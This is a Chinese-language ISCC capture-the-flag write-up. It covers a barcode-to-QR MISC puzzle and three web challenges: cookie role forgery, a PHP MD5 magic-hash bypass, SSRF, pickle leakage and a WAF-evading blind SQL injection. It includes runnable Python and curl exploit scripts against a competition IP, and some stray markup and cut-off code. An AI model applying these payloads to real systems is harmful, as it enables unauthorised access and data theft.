isCC非武部分Wp

admin 2026-05-22 03:46:51 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文档记录ISCC竞赛非武部分两道MISC题目的解题过程。第一题通过分析网络流量中的UDP载荷发现重复密码,解压后使用LSB隐写获得flag;第二题从21张条形码图片中提取PNG注释、LSB隐写和Code128数据,重构21×21二维码并反相识别得到密码。文档提供完整的Python代码实现自动化解题流程。 综合评分: 78 文章分类: CTF,WEB安全,移动安全,数据安全,逆向分析


2. 三路取数(通用)

每张 PNG 都尝试 3 路信息源:

  1. PNG Comment
  2. 第 0 行红通道 LSB 解码文本(row0_lsb)
  3. Code128 条码正文

行格式统一匹配正则:[A-U][0-9a-fA-F]{6}[A-U]

即每行形如:字母 + 6位hex + 相同字母

3. 按 A..U 排列并还原位图

拿到 A..U 后:

  1. 按字母顺序排序
  2. 取中间 6 hex,转成 24bit
  3. 按系列规则取后 21bit(low 21 bits)
  4. 21 行拼成 21×21 矩阵

本题样本中,二维码需要做一次黑白反相才能正常识别(这一点 PoC 里已自动穷举)。

WEB1-值班邮件台

漏洞点 1:Cookie 鉴权绕过

服务端用两个明文 Cookie 控制身份:

text
text
Set-Cookie: mail_user=guest
Set-Cookie: mail_role=user

直接篡改为 mail_user=admin; mail_role=admin 即可提权到管理员,进入后台预览面板。

根因:身份标识完全由客户端控制,无签名/加密/服务端 Session 校验。

漏洞点 2:双人复核 MD5 弱比较

表单要求提交两个"预览凭据" token_a 和 token_b,服务端逻辑大致为:

php
php
if (md5($token_a) == md5($token_b) && $token_a !== $token_b) {
    // 复核通过
}

利用 PHP 的 magic hash 弱类型比较:当 MD5 以 0e 开头且后续全为数字时,PHP 将其当作科学计数法 0 × 10^n = 0,所以 0 == 0 为 true。

输入 MD5
240610708 0e462097431906509019562988736854
QNKCDZO 0e83040451993494058024219903391

两个字符串不同,但 MD5 弱比较相等 → 复核绕过。

漏洞点 3:SSRF 本机诊断访问

后台面板的"诊断地址"字段存在 SSRF,服务端会代为请求指定 URL。联调文件 route-index.txt 泄露了内部路由:

text
text
health  -> /internal/health
mailq   -> /internal/queue
final   -> /internal/report?view=flag&slot=last
``

将 `target_url` 设为 `http://127.0.1/internal/report?view=flag&slot=last`,服务端以本机身份请求自身,返回了 flag。

---

### 攻击链总结

Cookie 篡改 (guest→admin) → 进入后台 → MD5 magic hash 绕过复核 → SSRF 访问内部 flag 接口

poc

import requests

url = "http://39.105.213.28:49103/admin.php"
cookies = {"mail_user": "admin", "mail_role": "admin"}
data = {
    "token_a": "240610708",
    "token_b": "QNKCDZO",
    "target_url": "http://127.0.0.1/internal/report?view=flag&slot=last"
}

r = requests.post(url, cookies=cookies, data=data)
flag = r.text.split('<textarea readonly>')[1].split('</textarea>')[0].strip()
print(flag)

WEB2-灵感笔记

题目信息

  • 目标: http://39.105.213.28:5000/login
  • 技术栈: Werkzeug/2.3.7 Python/3.11.15

漏洞链总览

注册 admin 用户 → 管理员权限 → API 触发 403 获取 trace_id → /feedback 泄露调试日志 → pickle 反序列化 → flag

解题过程

1. 基础侦察

访问首页 302 跳转到 /login,存在注册入口 /register

普通用户登录后,dashboard 加载 /main.js,其中暴露了两个关键端点:

// 隐藏的项目详情接口
POST /api/v1/project/detail
Content-Type: application/json
{"project_id":&nbsp;"<project-id>"}

// 管理员提示接口
GET /api/admin/hint

JS 源码中还注释了:请求失败时可以拿 trace_id 去 /feedback 联系作者。

2. 管理员身份绕过

注册接口没有校验用户名保留字,直接注册 admin 用户即可获得管理员身份:

POST /register
username=admin&password=admin123

登录后 /api/admin/hint 返回 200,dashboard 中出现 is-admin 隐藏字段,可见两个特殊项目:

  • admin-notes-002
  • flag-project-001

3. 触发受限访问获取 trace_id

用管理员 session 请求 flag 项目详情:

POST /api/v1/project/detail
Content-Type: application/json

{"project_id":&nbsp;"flag-project-001"}

返回 403 并携带 trace_id:

{
&nbsp;&nbsp;"error":&nbsp;"访问被拒绝",
&nbsp;&nbsp;"message":&nbsp;"您无权查看此笔记",
&nbsp;&nbsp;"trace_id":&nbsp;"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}

4. 调试日志泄露 pickle 对象

将 trace_id 提交到 /feedback(必须同一 session):

POST /feedback
Content-Type: application/x-www-form-urlencoded

trace_id=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

返回的调试日志中,stack_trace 字段包含一个十六进制编码的 Python pickle 对象:

Object: 80049591000000000000007d94288c0474797065948c0b464c41475f4f424a45435494...

5. 反序列化获取 flag

将十六进制数据转为字节后用 pickle.loads() 反序列化:

import&nbsp;pickle
obj = pickle.loads(bytes.fromhex(hex_data))
# {'type': 'FLAG_OBJECT', 'flag': 'ISCC{...}', 'project_id': 'flag-project-001', 'timestamp': '...'}

漏洞分析

| 漏洞 | 类型 | 危害 | | — | — | — | | 注册 admin 用户 | 认证绕过 / 用户名未做保留字校验 | 直接获取管理员权限 | | API 返回 trace_id | 信息泄露 | 攻击者获得调试日志查询凭证 | | /feedback 无鉴权 | 越权访问 | 任意用户可通过 trace_id 查看系统调试日志 | | pickle 反序列化 | 不安全的反序列化 | 可导致任意代码执行(本题用于提取 flag) |

POC

import requests
import re
import pickle

TARGET =&nbsp;"http://39.105.213.28:5000"

s = requests.Session()

s.post(f"{TARGET}/register", data={"username":&nbsp;"admin",&nbsp;"password":&nbsp;"admin123"})
s.post(f"{TARGET}/login", data={"username":&nbsp;"admin",&nbsp;"password":&nbsp;"admin123"})

r = s.post(f"{TARGET}/api/v1/project/detail", json={"project_id":&nbsp;"flag-project-001"})
trace_id = r.json()["trace_id"]

r = s.post(f"{TARGET}/feedback", data={"trace_id": trace_id})
hex_data = re.search(r"[0-9a-f]{50,}", r.text).group()

print(pickle.loads(bytes.fromhex(hex_data)))

WEB3-校园社团活动平台

Target:http://39.105.213.28:8000/Flag:ISCC{Campus_Stat_A_7K!zY@w}Category: Web / SQL InjectionDifficulty: Medium


一、题目概述

目标是一个「校园社团活动平台」,存在多个信息泄露漏洞和一个 SQL 注入漏洞。需要通过多步信息收集获取必要的请求头和 Token,最终利用布尔盲注从数据库中提取 flag。


二、漏洞链 (Vulnerability Chain)

robots.txt 信息泄露
&nbsp; &nbsp; ↓
/static/hint/tech_stack.txt 请求头要求泄露
&nbsp; &nbsp; ↓
/?page=2 响应头 X-Campus-Token 泄露
&nbsp; &nbsp; ↓
目录枚举发现隐藏端点
&nbsp; &nbsp; ↓
HTML 隐藏元素 & 注释泄露 flag 片段 + SQL 注入提示
&nbsp; &nbsp; ↓
/admin/stat/activity/ SQL 布尔盲注
&nbsp; &nbsp; ↓
从 flag 表提取完整 flag

三、详细步骤

Step 1: robots.txt 信息泄露

请求:

GET /robots.txt HTTP/1.1
Host: 39.105.213.28:8000

响应:

User-agent: *
Allow: /static/hint/tech_stack.txt

分析:robots.txt 暴露了敏感路径 /static/hint/tech_stack.txt


Step 2: 提示文件泄露请求头要求

请求:

GET /static/hint/tech_stack.txt HTTP/1.1
Host: 39.105.213.28:8000

响应:

Backend: Django 5.2.5
ATTENTION:
To access the core interface, you need to&nbsp;set&nbsp;two request headers correctly:
1. User-Agent: Must strictly follow&nbsp;"Campus-Stat/1.0"&nbsp;(including&nbsp;case&nbsp;and special symbols);
2. Referer: Must be a valid HTTPS URL containing&nbsp;"campus-stat.example.com"&nbsp;(no extra content, only the root domain).

分析: 后端为 Django 5.2.5,访问核心接口需要设置:

  • User-Agent: Campus-Stat/1.0
  • Referer: https://campus-stat.example.com/

Step 3: 从 /?page=2 响应头提取 X-Campus-Token

请求:

GET /?page=2 HTTP/1.1
Host: 39.105.213.28:8000

响应头(关键字段):

X-Campus-Token: campus-ctf-2024-abc123

分析: 服务器在响应头中泄露了第三个必要的认证 Token。


Step 4: 端点枚举

使用已收集的三个请求头进行目录枚举:

| 端点 | 状态码 | 备注 | | — | — | — | | / | 200 | 主页 | | /admin/ | 200 | 管理页面(隐藏入口) | | /stat/ | 200 | 统计页面 | | /activity/ | 200 | 活动页面 | | /admin/stat/activity/ | 200 | SQL 注入入口 |


Step 5: HTML 隐藏内容分析

5.1 /admin/ – 诱饵 flag

<div&nbsp;class="hidden-hint"&nbsp;style="color: rgba(0,0,0,0.1)">flag{stat</div>

使用接近透明的文字颜色 rgba(0,0,0,0.1) 隐藏了 flag{stat,这是诱饵(真正的 flag 格式为 ISCC{})。

页面提示:

  • “Nothing here directly, but maybe start from here…”
  • “暴力走不通,观察=通关~”

5.2 /stat/ – 中间线索

<div&nbsp;class="hint">Maybe this is a middle step?</div>
<div>Keyword:&nbsp;<span&nbsp;class="keyword">maybe</span></div>

5.3 /activity/ – 半截 flag

<div&nbsp;class="hidden-flag"&nbsp;style="display: none">ISCC{Campus_Stat_A_</div>

JavaScript console 中也有线索:

console.log("%c[Clue] Half of the truth: ISCC{Campus_Stat_A_",&nbsp;"color:&nbsp;#4CAF50; font-size: 14px;");
console.log("%c[Hint] The target might be combined with previous clues...",&nbsp;"color:&nbsp;#2196F3; font-size: 12px;");

5.4 /admin/stat/activity/ – SQL 注入入口 & 关键提示

<!-- 隐藏提示1:藏在input的title属性中 -->
<input&nbsp;type="text"&nbsp;name="dim_filter"&nbsp;title="该参数会作为统计结果的别名使用">

<!-- 隐藏提示2:藏在不可见元素的属性中 -->
<div&nbsp;class="hint-attr"&nbsp;data-hint="SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity"></div>

<!-- 隐藏提示3:藏在HTML注释中 -->
<!-- Flag存储在flag表的value字段,可通过构造条件判断字符是否正确 -->
<!-- WAF会过滤空格和完整关键词,可用/**/替代空格,简化关键词绕过 -->

关键信息:

  1. dim_filter 参数会拼接到 SQL 查询中
  2. SQL 格式: SELECT COUNT(*) AS [维度值] FROM activity
  3. Flag 在 flag 表的 value 字段
  4. WAF 过滤空格(用 /**/ 替代)和完整关键词(用大小写混写绕过)

Step 6: SQL 注入探测

6.1 注入点确认

测试 dim_filter 参数:

dim_filter=1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ count=10 &nbsp;(正常,activity 表有 10 行)
dim_filter=1=0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ count=0 &nbsp; (条件为假,无匹配)
dim_filter=1/**/aNd/**/1=1 → count=10 &nbsp;(条件为真,绕过 WAF)

结论:dim_filter 被拼接到 WHERE 子句中,实际 SQL 为:

SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;activity&nbsp;WHERE&nbsp;${dim_filter}

6.2 WAF 规则

| 关键词 | 原始 | 绕过方式 | 绕过后 | | — | — | — | — | | 空格 | | /**/ 注释替代 | /**/ | | FROM | FROM | 大小写混写 | FrOm | | WHERE | WHERE | 大小写混写 | WhErE | | SELECT | SELECT | 大小写混写 | SeLeCt | | SUBSTR | SUBSTR | 大小写混写 | SubStr | | UNION | UNION | 大小写混写 | uNiOn |

注意:'(单引号)、{(花括号)等特殊字符在字符匹配时会被过滤,需用 ChAr() 函数替代。

6.3 布尔盲注原理

利用 COUNT(*) 的返回值作为布尔判断:

  • True:WHERE 条件为真 → 返回 ✅ 10(activity 表全部匹配)
  • False:WHERE 条件为假 → 返回 ✅ 0(无匹配行)

Step 7: Flag 提取

7.1 获取 Flag 长度

Payload:

dim_filter=1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)=27

结果: Flag 长度 = 27 字符

7.2 逐字符提取

通用 Payload(普通字符):

dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)='{char}'

特殊字符 Payload(单引号/花括号等被 WAF 过滤时):

dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ascii})

7.3 完整提取结果

| 位置 | 字符 | ASCII | 绕过方式 | | — | — | — | — | | 1 | I | 73 | 直接匹配 | | 2 | S | 83 | 直接匹配 | | 3 | C | 67 | 直接匹配 | | 4 | C | 67 | 直接匹配 | | 5 | { | 123 | ChAr(123) | | 6 | C | 67 | 直接匹配 | | 7 | a | 97 | 直接匹配 | | 8 | m | 109 | 直接匹配 | | 9 | p | 112 | 直接匹配 | | 10 | u | 117 | 直接匹配 | | 11 | s | 115 | 直接匹配 | | 12 | _ | 95 | 直接匹配 | | 13 | S | 83 | 直接匹配 | | 14 | t | 116 | 直接匹配 | | 15 | a | 97 | 直接匹配 | | 16 | t | 116 | 直接匹配 | | 17 | _ | 95 | 直接匹配 | | 18 | A | 65 | 直接匹配 | | 19 | _ | 95 | 直接匹配 | | 20 | 7 | 55 | 直接匹配 | | 21 | K | 75 | 直接匹配 | | 22 | ! | 33 | ChAr(33) | | 23 | z | 122 | 直接匹配 | | 24 | Y | 89 | 直接匹配 | | 25 | @ | 64 | ChAr(64) | | 26 | w | 119 | 直接匹配 | | 27 | } | 125 | ChAr(125) |


四、Flag

ISCC{Campus_Stat_A_7K!zY@w}

五、关键 Payload 汇总

信息收集

# robots.txt
curl http://39.105.213.28:8000/robots.txt

# 提示文件
curl http://39.105.213.28:8000/static/hint/tech_stack.txt

# Token 提取
curl -I http://39.105.213.28:8000/?page=2

端点发现

curl -H&nbsp;"User-Agent: Campus-Stat/1.0"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"Referer: https://campus-stat.example.com/"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"X-Campus-Token: campus-ctf-2024-abc123"&nbsp;\
&nbsp; &nbsp; &nbsp;http://39.105.213.28:8000/admin/stat/activity/

SQL 盲注

# 求长度
curl&nbsp;"http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)=27"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"User-Agent: Campus-Stat/1.0"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"Referer: https://campus-stat.example.com/"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"X-Campus-Token: campus-ctf-2024-abc123"

# 逐字符判断(普通字符)
curl&nbsp;"http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),1,1)='I'"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"User-Agent: Campus-Stat/1.0"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"Referer: https://campus-stat.example.com/"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"X-Campus-Token: campus-ctf-2024-abc123"

# 逐字符判断(特殊字符,用 ChAr() 绕过)
curl&nbsp;"http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),5,1)=ChAr(123)"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"User-Agent: Campus-Stat/1.0"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"Referer: https://campus-stat.example.com/"&nbsp;\
&nbsp; &nbsp; &nbsp;-H&nbsp;"X-Campus-Token: campus-ctf-2024-abc123"
import requests
import string
import sys
import time

BASE_URL =&nbsp;"http://39.105.213.28:8000"
TIMEOUT = 10 &nbsp;# 请求超时(秒)
HEADERS = {
&nbsp; &nbsp;&nbsp;"User-Agent":&nbsp;"Campus-Stat/1.0",
&nbsp; &nbsp;&nbsp;"Referer":&nbsp;"https://campus-stat.example.com/",
&nbsp; &nbsp;&nbsp;"X-Campus-Token":&nbsp;"campus-ctf-2024-abc123",
}

def phase1_robots():
&nbsp; &nbsp;&nbsp;"""Step 1: robots.txt 信息泄露"""
&nbsp; &nbsp;&nbsp;print("[*] Phase 1: robots.txt 信息泄露")
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/robots.txt", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;GET /robots.txt -> {r.status_code}")
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;Content: {r.text.strip()}")
&nbsp; &nbsp;&nbsp;# 泄露: Allow: /static/hint/tech_stack.txt
&nbsp; &nbsp;&nbsp;return"/static/hint/tech_stack.txt"

def phase1_tech_stack(hint_path):
&nbsp; &nbsp;&nbsp;"""Step 2: 提示文件泄露请求头要求"""
&nbsp; &nbsp;&nbsp;print(f"\n[*] Phase 2: 读取提示文件 {hint_path}")
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}{hint_path}", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;Content:\n{r.text.strip()}")
&nbsp; &nbsp;&nbsp;# 要求: User-Agent: Campus-Stat/1.0, Referer: https://campus-stat.example.com/

def phase1_token():
&nbsp; &nbsp;&nbsp;"""Step 3: 从 /?page=2 响应头提取 X-Campus-Token"""
&nbsp; &nbsp;&nbsp;print("\n[*] Phase 3: 提取 X-Campus-Token")
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/?page=2", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; token = r.headers.get("X-Campus-Token",&nbsp;"")
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;X-Campus-Token: {token}")
&nbsp; &nbsp;&nbsp;# 更新 HEADERS
&nbsp; &nbsp; HEADERS["X-Campus-Token"] = token
&nbsp; &nbsp;&nbsp;return&nbsp;token

def phase2_discovery():
&nbsp; &nbsp;&nbsp;"""Step 4: 目录枚举,发现隐藏端点"""
&nbsp; &nbsp;&nbsp;print("\n[*] Phase 4: 端点枚举")
&nbsp; &nbsp; endpoints = [
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/",&nbsp;"/admin/",&nbsp;"/stat/",&nbsp;"/activity/",
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/admin/stat/",&nbsp;"/admin/stat/activity/",
&nbsp; &nbsp; ]
&nbsp; &nbsp; found = []
&nbsp; &nbsp;&nbsp;for&nbsp;ep&nbsp;in&nbsp;endpoints:
&nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(f"{BASE_URL}{ep}", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; &nbsp; &nbsp; status =&nbsp;"✅"if&nbsp;r.status_code == 200&nbsp;else"❌"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;{ep} -> {r.status_code} {status}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;r.status_code == 200:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found.append(ep)
&nbsp; &nbsp;&nbsp;return&nbsp;found

def phase2_analyze_pages():
&nbsp; &nbsp;&nbsp;"""Step 5: 分析各页面隐藏内容"""
&nbsp; &nbsp;&nbsp;print("\n[*] Phase 5: 分析页面隐藏内容")

&nbsp; &nbsp;&nbsp;# /admin/ - 隐藏的 flag{stat (诱饵)
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/admin/", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;if"flag{"in&nbsp;r.text:
&nbsp; &nbsp; &nbsp; &nbsp; import re
&nbsp; &nbsp; &nbsp; &nbsp; flags = re.findall(r'flag\{[^<]*', r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/admin/ 隐藏文本: {flags} (诱饵)")

&nbsp; &nbsp;&nbsp;# /stat/ - keyword: maybe
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/stat/", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;if"keyword"in&nbsp;r.text:
&nbsp; &nbsp; &nbsp; &nbsp; import re
&nbsp; &nbsp; &nbsp; &nbsp; kw = re.findall(r'keyword[^<]*<[^>]*>([^<]*)', r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/stat/ keyword: {kw}")

&nbsp; &nbsp;&nbsp;# /activity/ - 隐藏的 ISCC{ 部分 flag
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/activity/", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;if"ISCC"in&nbsp;r.text:
&nbsp; &nbsp; &nbsp; &nbsp; import re
&nbsp; &nbsp; &nbsp; &nbsp; parts = re.findall(r'ISCC\{[^\s<"]*', r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/activity/ 隐藏 flag 片段: {parts}")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# console.log 中也有线索
&nbsp; &nbsp; &nbsp; &nbsp; clues = re.findall(r'\[Clue\]\s*([^\"]*)', r.text)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/activity/ console clue: {clues}")

&nbsp; &nbsp;&nbsp;# /admin/stat/activity/ - SQL 注入入口
&nbsp; &nbsp; r = requests.get(f"{BASE_URL}/admin/stat/activity/", headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; import re
&nbsp; &nbsp; hints = re.findall(r'data-hint="([^"]*)"', r.text)
&nbsp; &nbsp; comments = re.findall(r'<!--\s*(.*?)\s*-->', r.text, re.S)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/admin/stat/activity/ data-hint: {hints}")
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;/admin/stat/activity/ HTML注释:")
&nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;comments:
&nbsp; &nbsp; &nbsp; &nbsp; c = c.strip()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;c:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp; &nbsp; &nbsp;{c}")

def sqli_test():
&nbsp; &nbsp;&nbsp;"""Step 6: 确认 SQL 注入点及 WAF 规则"""
&nbsp; &nbsp;&nbsp;print("\n[*] Phase 6: SQL 注入探测")
&nbsp; &nbsp; url = f"{BASE_URL}/admin/stat/activity/"

&nbsp; &nbsp;&nbsp;# 正常请求 -> count = 10 (activity 表有 10 行)
&nbsp; &nbsp; r = requests.get(url, params={"dim_filter":&nbsp;"1"}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; count = extract_count(r.text)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;dim_filter=1 -> count={count}")

&nbsp; &nbsp;&nbsp;# 1=0 -> count=0 (WHERE 条件为假)
&nbsp; &nbsp; r = requests.get(url, params={"dim_filter":&nbsp;"1=0"}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; count = extract_count(r.text)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;dim_filter=1=0 -> count={count}")

&nbsp; &nbsp;&nbsp;# 1 AND 1=1 -> count=10 (大小写绕过 WAF)
&nbsp; &nbsp; r = requests.get(url, params={"dim_filter":&nbsp;"1/**/aNd/**/1=1"}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; count = extract_count(r.text)
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;dim_filter=1/**/aNd/**/1=1 -> count={count}")

&nbsp; &nbsp;&nbsp;# 测试 WAF 关键词过滤
&nbsp; &nbsp;&nbsp;print("\n &nbsp; &nbsp;WAF 规则测试:")
&nbsp; &nbsp; blocked = ["FROM",&nbsp;"WHERE",&nbsp;"SELECT",&nbsp;"UNION",&nbsp;"SUBSTR",&nbsp;"SUBSTRING",&nbsp;"ASCII"]
&nbsp; &nbsp; bypass = ["FrOm",&nbsp;"WhErE",&nbsp;"SeLeCt",&nbsp;"uNiOn",&nbsp;"SubStr",&nbsp;"SubString",&nbsp;"AsCiI"]
&nbsp; &nbsp;&nbsp;for&nbsp;orig, byp&nbsp;in&nbsp;zip(blocked, bypass):
&nbsp; &nbsp; &nbsp; &nbsp; r1 = requests.get(url, params={"dim_filter": f"1/**/{orig}/**/1"}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; &nbsp; &nbsp; r2 = requests.get(url, params={"dim_filter": f"1/**/{byp}/**/1"}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; &nbsp; &nbsp; c1 = extract_count(r1.text)
&nbsp; &nbsp; &nbsp; &nbsp; c2 = extract_count(r2.text)
&nbsp; &nbsp; &nbsp; &nbsp; waf1 =&nbsp;"❌ BLOCKED"if"非法"in&nbsp;r1.text&nbsp;else"✅ PASS"
&nbsp; &nbsp; &nbsp; &nbsp; waf2 =&nbsp;"❌ BLOCKED"if"非法"in&nbsp;r2.text&nbsp;else"✅ PASS"
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp; &nbsp; &nbsp;{orig:10s} -> {waf1} &nbsp;| &nbsp;{byp:10s} -> {waf2}")

def extract_count(html):
&nbsp; &nbsp;&nbsp;"""从 HTML 中提取统计结果数字"""
&nbsp; &nbsp; import re
&nbsp; &nbsp; m = re.search(r'✅\s*(\d+)', html)
&nbsp; &nbsp;&nbsp;return&nbsp;int(m.group(1))&nbsp;if&nbsp;m&nbsp;else&nbsp;-1

def sqli_boolean(pos, char):
&nbsp; &nbsp;&nbsp;"""布尔盲注: 判断指定位置的字符"""
&nbsp; &nbsp; url = f"{BASE_URL}/admin/stat/activity/"
&nbsp; &nbsp;&nbsp;# 用 ChAr() 绕过特殊字符过滤
&nbsp; &nbsp; payload = f"1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ord(char)})"
&nbsp; &nbsp; r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp;&nbsp;return&nbsp;extract_count(r.text) == 10

def sqli_extract_flag():
&nbsp; &nbsp;&nbsp;"""Step 7: 布尔盲注逐字符提取 flag"""
&nbsp; &nbsp;&nbsp;print("\n[*] Phase 7: SQL 布尔盲注提取 Flag")

&nbsp; &nbsp;&nbsp;# 先求长度
&nbsp; &nbsp; url = f"{BASE_URL}/admin/stat/activity/"
&nbsp; &nbsp; flag_len = 0
&nbsp; &nbsp;&nbsp;for&nbsp;l&nbsp;in&nbsp;range(1, 60):
&nbsp; &nbsp; &nbsp; &nbsp; payload = f"1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)={l}"
&nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;extract_count(r.text) == 10:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag_len = l
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;Flag 长度: {flag_len}")

&nbsp; &nbsp;&nbsp;# 逐字符爆破
&nbsp; &nbsp; charset = string.ascii_letters + string.digits +&nbsp;"_{}!@#$%^&*()-+=[]|\\:;\"'<>,.?/~`"
&nbsp; &nbsp; flag =&nbsp;""
&nbsp; &nbsp;&nbsp;for&nbsp;pos&nbsp;in&nbsp;range(1, flag_len + 1):
&nbsp; &nbsp; &nbsp; &nbsp; found = False
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 先用常规字符集
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;c&nbsp;in&nbsp;charset:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;sqli_boolean(pos, c):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag += c
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found = True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 如果常规字符集没找到,用 ChAr() 遍历 ASCII
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not found:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;ascii_val&nbsp;in&nbsp;range(32, 127):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload = f"1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ascii_val})"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;extract_count(r.text) == 10:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag += chr(ascii_val)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; found = True
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not found:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flag +=&nbsp;"?"
